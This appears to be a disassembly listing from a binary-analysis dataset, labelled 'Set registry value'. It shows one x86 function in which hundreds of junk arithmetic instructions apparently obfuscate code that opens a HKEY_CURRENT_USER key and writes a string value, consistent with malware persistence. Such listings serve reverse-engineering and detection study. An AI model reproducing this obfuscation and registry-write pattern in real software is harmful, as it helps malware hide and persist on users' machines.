Function at 0x40ea18
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe8
push ebx
xor eax, eax
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x40c], eax
mov dword [ebp - 0x410], eax
mov dword [ebp - 4], eax
mov ebx, dword [0x42e0ac]
xor eax, eax
push ebp
push 0x40fbe3
push dword fs:[eax]
mov dword fs:[eax], esp
xor dword [ebx], 0xe3d6789e
or dword [ebx], 0x4969c44b
add dword [ebx], 0x8bc2fcae
add dword [ebx], 0x20635986
xor dword [ebx], 0x520103e7
add dword [ebx], 0xd3a75a7c
sub dword [ebx], 0xe301f389
add dword [ebx], 0x1342a14c
mov ecx, 0x927f72fa
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0x7dbe7d1a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0x8f829b0e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
xor dword [ebx], 0x7bb8a724
add dword [ebx], 0xcdc0e540
mov ecx, 0xb3c6eaea
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x3cfa4489
imul eax, dword [ebx], 0xbb401441
mov dword [ebx], eax
sub dword [ebx], 0xb7252610
sub dword [ebx], 0xa2643030
add dword [ebx], 0x5a3ea052
add dword [ebx], 0x76f44084
add dword [ebx], 0x40e73b46
add dword [ebx], 0x3f9bcca4
add dword [ebx], 0x9d110df9
add dword [ebx], 0xec344633
add dword [ebx], 0xd509cb6c
add dword [ebx], 0x4ba91970
mov ecx, 0xbabb646a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0xbbd97aaf
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0xfcc03021
add dword [ebx], 0x9c520f37
mov ecx, 0x5604fcf2
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x60b798d7
add dword [ebx], 0xb3701d4
add dword [ebx], 0x35c32a26
add dword [ebx], 0x424e43a4
add dword [ebx], 0x1af94229
or dword [ebx], 0x7c350503
mov ecx, 0x8a32a172
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
and dword [ebx], 0x8bcc38b2
mov ecx, 0x449daaca
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x1d48a94f
or dword [ebx], 0xaf950793
or dword [ebx], 0x9f161433
add dword [ebx], 0xf1f6123
add dword [ebx], 0xa88f1f7
imul eax, dword [ebx], 0xb48cd9f9
mov dword [ebx], eax
add dword [ebx], 0xd2b4fd1c
add dword [ebx], 0xb8bb02c6
add dword [ebx], 0xc63d1e3a
add dword [ebx], 0xb65d62c
and dword [ebx], 0x8ee4aa5a
sub dword [ebx], 0xa9464bf8
xor dword [ebx], 0xfbca0b0f
add dword [ebx], 0x3d2c417c
add dword [ebx], 0xf663ae3c
mov ecx, 0xba26a292
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x408a7ca2
add dword [ebx], 0x5eb29fc5
sub dword [ebx], 0xd363e9dd
sub dword [ebx], 0xbadc7278
sub dword [ebx], 0x40c4cb8d
and dword [ebx], 0x86e48575
add dword [ebx], 0xf941d0f9
imul eax, dword [ebx], 0xce264df9
mov dword [ebx], eax
add dword [ebx], 0x75d63767
mov ecx, 0x93fe5a8a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
and dword [ebx], 0x5fc9d2e5
add dword [ebx], 0x5c2a65af
add dword [ebx], 0x8c6b1372
mov ecx, 0x95ab2c66
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x2e120ac3
mov ecx, 0xf2cc010f
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
xor dword [ebx], 0x8e936649
xor dword [ebx], 0x55b6e17c
add dword [ebx], 0xdcfc372f
add dword [ebx], 0x918ba6c7
and dword [ebx], 0x6ba9283d
add dword [ebx], 0x3bcc296b
add dword [ebx], 0xec7f912b
add dword [ebx], 0x639a602a
add dword [ebx], 0x2d11d9f1
add dword [ebx], 0x36cd73e0
mov ecx, 0xb85e4422
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0x43fb22a8
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
mov ecx, 0x4437bd4a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0x95da00be
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
and dword [ebx], 0xc7f32c1a
mov ecx, 0xad022fce
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0xc9b7d000
and dword [ebx], 0xc67e5d72
xor dword [ebx], 0x6e991e9
imul eax, dword [ebx], 0x9747ec41
mov dword [ebx], eax
add dword [ebx], 0x1f8443ea
add dword [ebx], 0xe59b36d4
sub dword [ebx], 0x53b67fd8
and dword [ebx], 0x70e7a105
and dword [ebx], 0x80bdbb0d
add dword [ebx], 0x5526b712
add dword [ebx], 0x3e77bd46
mov ecx, 0x3777c933
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
mov ecx, 0x9c7a0d92
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x3df9f094
xor dword [ebx], 0x6e251804
xor dword [ebx], 0x2c574dc
imul eax, dword [ebx], 0x60b6372c
mov dword [ebx], eax
mov ecx, 0xc1f1fa06
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0xabbe8135
add dword [ebx], 0xa8850ea7
xor dword [ebx], 0x9d431814
mov ecx, 0x75ee1699
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
and dword [ebx], 0xa3c53f75
xor dword [ebx], 0xd19c6851
add dword [ebx], 0xcfd578b4
add dword [ebx], 0xb7b3fbf7
mov ecx, 0xa1808326
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x9c6e92ff
add dword [ebx], 0xf9e3d454
add dword [ebx], 0x8c962d40
or dword [ebx], 0xb8fad32b
add dword [ebx], 0xe74d7d02
sub dword [ebx], 0x2a883108
mov ecx, 0x6980e28e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0xcabca568
add dword [ebx], 0x8c1614d7
imul eax, dword [ebx], 0xad0db789
mov dword [ebx], eax
mov ecx, 0xa7804667
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0xe678f7ed
add dword [ebx], 0xdf7903da
add dword [ebx], 0xe99a9871
add dword [ebx], 0x48e8575f
add dword [ebx], 0xea683a61
mov ecx, 0x971d927
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x1505f0af
sub dword [ebx], 0xff40088
xor dword [ebx], 0x6a00de1
and dword [ebx], 0x8edc658a
xor dword [ebx], 0xef9ca769
add dword [ebx], 0x2bc5d960
mov ecx, 0x4708f6a1
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x237a76ab
add dword [ebx], 0xb1eacd17
add dword [ebx], 0x34ee204a
imul eax, dword [ebx], 0xc81bfa31
mov dword [ebx], eax
xor dword [ebx], 0x4f614fe4
add dword [ebx], 0xa0ee0d05
or dword [ebx], 0x89481143
add dword [ebx], 0x3b6dfbf4
or dword [ebx], 0x458f908b
add dword [ebx], 0x3f869e6e
mov ecx, 0x6b6fc35e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x32f93939
add dword [ebx], 0x3d1acdd0
add dword [ebx], 0xf194b715
add dword [ebx], 0x109e55db
add dword [ebx], 0xd1f7c54a
add dword [ebx], 0xcaf7d137
mov ecx, 0x2b3c921b
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x36c0fa5
add dword [ebx], 0x1e33abeb
add dword [ebx], 0xc5ce0f06
sub dword [ebx], 0x42a15bcd
add dword [ebx], 0x743f062e
or dword [ebx], 0xad833243
add dword [ebx], 0xdb5a5b1f
mov ecx, 0x5e5dae52
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0x8ffb58b3
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x5784ce8e
add dword [ebx], 0x838364e
mov ecx, 0x9aea8f3a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
xor dword [ebx], 0x775c0f44
add dword [ebx], 0x6e081c9d
add dword [ebx], 0xaf54ccb7
xor dword [ebx], 0x83bdc8bc
mov ecx, 0x82725a1a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0x6bc3604e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
xor dword [ebx], 0xa67a0f54
sub dword [ebx], 0x1c225b62
add dword [ebx], 0x3e8b1232
add dword [ebx], 0xcea83a7a
add dword [ebx], 0xce438f5
add dword [ebx], 0x962d18e7
mov ecx, 0x9466294a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x899fb3b2
add dword [ebx], 0x2d739548
xor dword [ebx], 0x698740ec
imul eax, dword [ebx], 0xa70d6f81
mov dword [ebx], eax
xor dword [ebx], 0x4ea7d29c
mov ecx, 0xf9339310
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0xc13889e6
imul eax, dword [ebx], 0x4eb1de5c
mov dword [ebx], eax
xor dword [ebx], 0xbf2125f4
add dword [ebx], 0xab41abb7
mov ecx, 0x3e6f859e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
or dword [ebx], 0x376f918b
add dword [ebx], 0x96bd5079
mov ecx, 0x16db9dca
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x2e583986
sub dword [ebx], 0x594a5c80
mov ecx, 0xb8981b6e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x93971887
mov ecx, 0x7b759bca
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0xe27f4b6
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x1849894d
mov ecx, 0xb668e572
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
sub dword [ebx], 0x5ab84803
add dword [ebx], 0xed6aa0ef
sub dword [ebx], 0xb20f10e8
sub dword [ebx], 0x67047b28
add dword [ebx], 0x42037841
add dword [ebx], 0x9fdeb43e
add dword [ebx], 0xa4c7445f
add dword [ebx], 0xe4a17188
or dword [ebx], 0xb62567ab
add dword [ebx], 0x9e03eaee
and dword [ebx], 0xda93178d
and dword [ebx], 0x4b7de020
add dword [ebx], 0x59e17737
xor dword [ebx], 0x52e18324
add dword [ebx], 0x299e7dbd
imul eax, dword [ebx], 0xa5f64989
mov dword [ebx], eax
add dword [ebx], 0x5b8e4913
mov ecx, 0xa3b18d3a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0xf6c6539f
mov ecx, 0xaa493aee
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x1efa8506
mov ecx, 0xe39ef4ff
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x98945f3f
add dword [ebx], 0xa33174d1
add dword [ebx], 0xce2397cb
sub dword [ebx], 0x7084f670
add dword [ebx], 0x21385e30
and dword [ebx], 0x4ca60225
add dword [ebx], 0xceb25362
add dword [ebx], 0xf9a4765c
add dword [ebx], 0xf57401d8
add dword [ebx], 0xf449c28
add dword [ebx], 0x7e4160cf
mov ecx, 0x3148c723
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
sub dword [ebx], 0x6b087433
mov ecx, 0xdfb9be4b
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x7dc61b6
add dword [ebx], 0x1106f457
add dword [ebx], 0xf960f895
or dword [ebx], 0xbd89e793
or dword [ebx], 0xb705747b
add dword [ebx], 0xe36a1a66
add dword [ebx], 0xa80e8a5f
and dword [ebx], 0x6cb2fa58
or dword [ebx], 0x9d59a2c3
add dword [ebx], 0xf8e0e02c
or dword [ebx], 0xb02a4900
add dword [ebx], 0x839c430f
add dword [ebx], 0xf40b8aa7
add dword [ebx], 0x86bde393
add dword [ebx], 0x828d6f0f
add dword [ebx], 0x9dd08c50
add dword [ebx], 0x80760b1d
and dword [ebx], 0x9a46a56d
mov ecx, 0x41e10888
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
mov ecx, 0x483c1b9a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
imul eax, dword [ebx], 0x12199009
mov dword [ebx], eax
add dword [ebx], 0x4b5dbc1e
and dword [ebx], 0x87ece8bd
add dword [ebx], 0xdbfbb7f
add dword [ebx], 0x4b45ea14
add dword [ebx], 0xb7eeb027
add dword [ebx], 0x173c6f15
add dword [ebx], 0xed0267b8
sub dword [ebx], 0x8fdf4758
add dword [ebx], 0x7bffcd1b
add dword [ebx], 0xfc1e1a6c
add dword [ebx], 0x33efc390
imul eax, dword [ebx], 0xfc5ab50e
mov dword [ebx], eax
or dword [ebx], 0x7e67064b
add dword [ebx], 0x515d7f5f
xor dword [ebx], 0x4a5d8b4c
add dword [ebx], 0x143affbb
add dword [ebx], 0xd8df6fb4
add dword [ebx], 0x8c625703
add dword [ebx], 0x951168a9
or dword [ebx], 0x3330c4ce
or dword [ebx], 0x3072d33b
add dword [ebx], 0xc3252c27
add dword [ebx], 0x73d893e7
xor dword [ebx], 0x6cd89fd4
add dword [ebx], 0x10ac816a
imul eax, dword [ebx], 0x83a0a66
mov dword [ebx], eax
or dword [ebx], 0x8a465ba3
sub dword [ebx], 0x87886a10
imul eax, dword [ebx], 0x271a4926
mov dword [ebx], eax
imul eax, dword [ebx], 0xce392b46
mov dword [ebx], eax
add dword [ebx], 0xe5b5c702
or dword [ebx], 0x6a1616d3
add dword [ebx], 0xeba6e715
add dword [ebx], 0x67feb2e1
or dword [ebx], 0x92f0d5db
add dword [ebx], 0x36c4b771
add dword [ebx], 0x2ecdc168
add dword [ebx], 0x85a3b90
add dword [ebx], 0xd9de31b3
xor dword [ebx], 0x9e82a1ac
sub dword [ebx], 0x88c3d3d9
sub dword [ebx], 0xaf24fbf9
or dword [ebx], 0x1f78b6fd
add dword [ebx], 0xfbea3707
add dword [ebx], 0x79b485c4
and dword [ebx], 0xf9d2d315
add dword [ebx], 0x6a421aad
imul eax, dword [ebx], 0xee26e983
mov dword [ebx], eax
add dword [ebx], 0x27e69693
sub dword [ebx], 0xfd310e3b
add dword [ebx], 0xd3ee08d4
add dword [ebx], 0xf18524a9
add dword [ebx], 0xd3af227b
add dword [ebx], 0x8af88b4f
add dword [ebx], 0xd924c193
add dword [ebx], 0xdd91d0b9
add dword [ebx], 0xb6a2c9e6
xor dword [ebx], 0x7acbb8e4
and dword [ebx], 0x91ccd3a5
add dword [ebx], 0x6c504fc3
add dword [ebx], 0xa3a677ec
add dword [ebx], 0x7e29f40a
add dword [ebx], 0xe8e4b631
add dword [ebx], 0xad0da52f
or dword [ebx], 0xa49b2e2b
add dword [ebx], 0x3b14089c
add dword [ebx], 0x105e8044
add dword [ebx], 0x805246e1
and dword [ebx], 0x84bf5607
mov ecx, 0x4e9cca76
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0xadea8964
add dword [ebx], 0x4c09e589
add dword [ebx], 0x655efede
xor dword [ebx], 0x3aa97686
mov ecx, 0xcce04e77
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x5f172668
xor dword [ebx], 0x9ef15391
add dword [ebx], 0xed1d89d5
add dword [ebx], 0xf5cc9b7b
add dword [ebx], 0x3164c624
and dword [ebx], 0x35d1d54a
add dword [ebx], 0xbb292711
or dword [ebx], 0xe15dc690
add dword [ebx], 0xc93c49d3
xor dword [ebx], 0x89af601
mov ecx, 0xef60913
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0xa12ce104
and dword [ebx], 0x563de500
or dword [ebx], 0x53653695
add dword [ebx], 0x4bb662e9
add dword [ebx], 0x61fd1656
xor dword [ebx], 0xf77eeed1
add dword [ebx], 0xed33fa34
mov ecx, 0x5cac3fd6
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x7c315f97
add dword [ebx], 0xee3b883
add dword [ebx], 0x4af76427
add dword [ebx], 0x4472f10f
add dword [ebx], 0xe846d2a5
add dword [ebx], 0xed2f62c6
add dword [ebx], 0xfa2076ec
sub dword [ebx], 0x767842b8
add dword [ebx], 0x73ba5125
add dword [ebx], 0x6b47da21
or dword [ebx], 0x5f8a6293
sub dword [ebx], 0x9d109128
or dword [ebx], 0x893116eb
xor dword [ebx], 0xa03231ac
add dword [ebx], 0x21c301ee
add dword [ebx], 0x6ef8363c
add dword [ebx], 0x6ac7c1b8
add dword [ebx], 0x5e8ec92f
xor dword [ebx], 0xe09b1a6c
xor dword [ebx], 0x554c6484
add dword [ebx], 0x3d2ae7c7
imul eax, dword [ebx], 0xbebbb809
mov dword [ebx], eax
sub dword [ebx], 0x845729f8
add dword [ebx], 0x38d1133d
add dword [ebx], 0x52a1ad8d
add dword [ebx], 0x35c2ad55
sub dword [ebx], 0x86be6328
mov ecx, 0x6ad664e6
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
or dword [ebx], 0xec673528
add dword [ebx], 0xc39fb0bc
add dword [ebx], 0xd090c4e2
mov ecx, 0x4ce890ae
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
mov ecx, 0xbd57d846
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x7613c40b
add dword [ebx], 0x36f1b27f
add dword [ebx], 0x3433c0ec
xor dword [ebx], 0x920efce9
add dword [ebx], 0xd010ac79
add dword [ebx], 0x5d8a00ef
and dword [ebx], 0xbcd7bfdd
sub dword [ebx], 0xe93c65c8
add dword [ebx], 0x15a10bb3
imul eax, dword [ebx], 0x62d64001
mov dword [ebx], eax
xor dword [ebx], 0xd7878a19
add dword [ebx], 0x10cbb62e
add dword [ebx], 0xf737b680
mov ecx, 0xbb60a57e
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x62fb0899
xor dword [ebx], 0x38458041
sub dword [ebx], 0x82ab3500
sub dword [ebx], 0xf31a7c98
sub dword [ebx], 0xac51e958
add dword [ebx], 0xd4748cc3
sub dword [ebx], 0x7b17ede8
add dword [ebx], 0x1eebcf7e
mov ecx, 0x9f0a1ccf
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x209aed11
mov ecx, 0x474b0d8b
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0xc8605cd2
sub dword [ebx], 0x195c12a5
sub dword [ebx], 0x45453795
add dword [ebx], 0x4b24c9ac
add dword [ebx], 0x6a2e6872
add dword [ebx], 0x509a68c4
mov ecx, 0x27d2e458
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
or dword [ebx], 0x214e7140
xor dword [ebx], 0x7cd5aea9
xor dword [ebx], 0x35919a6e
add dword [ebx], 0xf6eb09dd
add dword [ebx], 0x5908485a
sub dword [ebx], 0xa5c1fbad
imul eax, dword [ebx], 0xc18099e9
mov dword [ebx], eax
imul eax, dword [ebx], 0xb6ba2451
mov dword [ebx], eax
mov ecx, 0x913da06f
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
mov ecx, 0xbd26c55f
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0xc7c3daf1
add dword [ebx], 0xbb8ae268
add dword [ebx], 0x3feb3239
and dword [ebx], 0x77bcdb5d
sub dword [ebx], 0xe82c22f5
add dword [ebx], 0xc3a6a109
sub dword [ebx], 0xb76da880
add dword [ebx], 0x3d407b42
sub dword [ebx], 0x8a75af90
imul eax, dword [ebx], 0xa5b8ccd1
mov dword [ebx], eax
add dword [ebx], 0x5820cba
sub dword [ebx], 0x52b74108
add dword [ebx], 0xf249201e
add dword [ebx], 0xe9d6a91a
add dword [ebx], 0x8ffe8944
add dword [ebx], 0xdea64083
add dword [ebx], 0x5a828b54
add dword [ebx], 0xf0fb65c5
xor dword [ebx], 0xe446ec41
or dword [ebx], 0x32eea380
add dword [ebx], 0x51f84246
add dword [ebx], 0xdf6b9da3
add dword [ebx], 0x5b1db8b2
add dword [ebx], 0x4ca25cb9
add dword [ebx], 0x61642f7d
xor dword [ebx], 0xc431379f
add dword [ebx], 0x80346964
xor dword [ebx], 0x2d8b23c
add dword [ebx], 0xc39430f7
add dword [ebx], 0x42756a1
add dword [ebx], 0x7bab48e3
add dword [ebx], 0xc6fa4676
add dword [ebx], 0x3efa9697
sub dword [ebx], 0x437ea80b
add dword [ebx], 0x41e2d23c
mov ecx, 0x21c8f0a3
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0xe93dbd0f
add dword [ebx], 0xe0a36200
add dword [ebx], 0x1b58af5b
add dword [ebx], 0xdd6a10f
add dword [ebx], 0xfe5423f7
xor dword [ebx], 0xe4eb3e17
add dword [ebx], 0x7f822f54
add dword [ebx], 0xa41a1c20
add dword [ebx], 0x93c7b161
add dword [ebx], 0xc1fb141a
add dword [ebx], 0x572ed11f
xor dword [ebx], 0xa2270927
add dword [ebx], 0xbabf027
add dword [ebx], 0xe97d956a
mov ecx, 0xa858d683
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x6ae75e85
add dword [ebx], 0xba8de4eb
mov ecx, 0x4a889d7a
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
add dword [ebx], 0x81abba8
mov ecx, 0x737a6bf8
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
mov ecx, 0xa6e22e91
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x7a29f8de
add dword [ebx], 0xfbcf7fb7
or dword [ebx], 0xce3cbeae
mov ecx, 0x30216808
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
and dword [ebx], 0xfebf888d
or dword [ebx], 0xaaf46053
add dword [ebx], 0x8f5fff01
add dword [ebx], 0xa71865a3
add dword [ebx], 0x21ac6a6d
add dword [ebx], 0xcfa07eef
add dword [ebx], 0x5637d1ed
add dword [ebx], 0x47aa0b14
add dword [ebx], 0x5a9727f1
add dword [ebx], 0x2f2cac97
add dword [ebx], 0x59f49fcf
and dword [ebx], 0xd5fb278a
add dword [ebx], 0x421ab380
sub dword [ebx], 0x40812968
and dword [ebx], 0xea0cb90a
or dword [ebx], 0x8395b32b
add dword [ebx], 0x79ae7aa7
add dword [ebx], 0xef174e6d
or dword [ebx], 0x4752bb90
and dword [ebx], 0xdde1297c
or dword [ebx], 0xf9742923
add dword [ebx], 0x1d9171d8
add dword [ebx], 0x128b462b
add dword [ebx], 0xe90c0b67
add dword [ebx], 0x5abb5436
add dword [ebx], 0xcddd1ff6
add dword [ebx], 0xc367fb97
add dword [ebx], 0x4efa3c6e
add dword [ebx], 0xa29c602
or dword [ebx], 0x2f01760b
add dword [ebx], 0x9ee09339
add dword [ebx], 0xdb76b025
add dword [ebx], 0x8cafb1c8
add dword [ebx], 0xf1618efa
add dword [ebx], 0x6ff8afeb
add dword [ebx], 0x3e230f7e
imul eax, dword [ebx], 0x8e31dc43
mov dword [ebx], eax
add dword [ebx], 0xfb563079
add dword [ebx], 0xc964f650
and dword [ebx], 0x31a551d3
add dword [ebx], 0x43ca4112
add dword [ebx], 0x1edfa162
add dword [ebx], 0x499c1a07
mov ecx, 0xc414923d
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
mov ecx, 0x4af891de
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0xfea44744
add dword [ebx], 0xb9018a52
add dword [ebx], 0xdf09ae58
add dword [ebx], 0x60c952f2
xor dword [ebx], 0xfbd4e205
sub dword [ebx], 0x7cc7c193
add dword [ebx], 0x84aea59b
imul eax, dword [ebx], 0xc4dbd09d
mov dword [ebx], eax
add dword [ebx], 0x9ad09d98
add dword [ebx], 0xd009faa5
mov ecx, 0x4498d504
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
xor dword [ebx], 0x4a163425
add dword [ebx], 0xc3923613
or dword [ebx], 0x76c870bf
or dword [ebx], 0x42e49b3c
sub dword [ebx], 0x6165cfa1
add dword [ebx], 0xaec9d847
imul eax, dword [ebx], 0x476e2e2a
mov dword [ebx], eax
add dword [ebx], 0x34390940
or dword [ebx], 0x51a5563c
sub dword [ebx], 0xb021f67d
xor dword [ebx], 0x6867d599
add dword [ebx], 0x7d0d3ee5
add dword [ebx], 0xb1e9d026
add dword [ebx], 0xab733080
add dword [ebx], 0x9bdc09f9
mov ecx, 0xb9f1cf64
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
xor dword [ebx], 0xe7b2031a
add dword [ebx], 0x29d660e4
add dword [ebx], 0xe8589de3
add dword [ebx], 0xafc43b73
add dword [ebx], 0x9b1edf4f
add dword [ebx], 0xb9924042
add dword [ebx], 0xbfc0d7db
imul eax, dword [ebx], 0x2e2fbdcf
mov dword [ebx], eax
imul eax, dword [ebx], 0xef50c22
mov dword [ebx], eax
add dword [ebx], 0xdaa2ac32
add dword [ebx], 0xeac4e0ee
add dword [ebx], 0x94186d5c
add dword [ebx], 0x818fe97c
add dword [ebx], 0xe1143ccb
add dword [ebx], 0xa4285188
add dword [ebx], 0x97b6860f
add dword [ebx], 0x7bb2fb39
add dword [ebx], 0xe5e5f216
add dword [ebx], 0xa023e0de
add dword [ebx], 0x5b1476f1
mov ecx, 0xe0e14372
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
or dword [ebx], 0x937664cf
add dword [ebx], 0xdb029b67
add dword [ebx], 0xf49e5b1e
add dword [ebx], 0x882c296c
add dword [ebx], 0xf63b2821
mov ecx, 0xfb05dff7
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0x1ab3cdcf
mov ecx, 0xd017c58
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], eax
add dword [ebx], 0xb3ba70f8
mov ecx, 0x5f2889f3
mov eax, dword [ebx]
xor edx, edx
div ecx
mov dword [ebx], edx
and dword [ebx], 0xfe802746
xor dword [ebx], 0x7180e4f8
add dword [ebx], 0xbee13314
xor dword [ebx], 0xf0dc8625
imul eax, dword [ebx], 0x69727502
mov dword [ebx], eax
add dword [ebx], 0x1dbfe2ce
add dword [ebx], 0x6efc38c2
add dword [ebx], 0xfc034841
lea eax, [ebp - 4]
mov edx, 0x40fbf8
call fcn.004044a0
lea eax, [ebp - 4]
mov edx, 0x40fc10
call fcn.00404598
lea eax, [ebp - 4]
mov edx, 0x40fc2c
call fcn.00404598
lea eax, [ebp - 4]
mov edx, 0x40fc44
call fcn.00404598
lea eax, [ebp - 0x408]
mov edx, dword [0x419a8c]
call fcn.004067c0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.0040475c
push eax
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x40fbbd
lea eax, [ebp - 0x40c]
call fcn.00412268
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0x410]
mov edx, dword [0x419a88]
call fcn.00404538
mov edx, dword [ebp - 0x410]
pop eax
call fcn.00404598
mov eax, dword [ebp - 0x40c]
call fcn.0040475c
push eax
call sub.kernel32.dll_lstrlenA_1
push eax
lea eax, [ebp - 0x414]
call fcn.00412268
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x418]
mov edx, dword [0x419a88]
call fcn.00404538
mov edx, dword [ebp - 0x418]
pop eax
call fcn.00404598
mov eax, dword [ebp - 0x414]
call fcn.0040475c
push eax
push 1
push 0
lea eax, [ebp - 0x408]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40fbea
lea eax, [ebp - 0x418]
mov edx, 4
call fcn.0040442c
lea eax, [ebp - 4]
call fcn.00404408
ret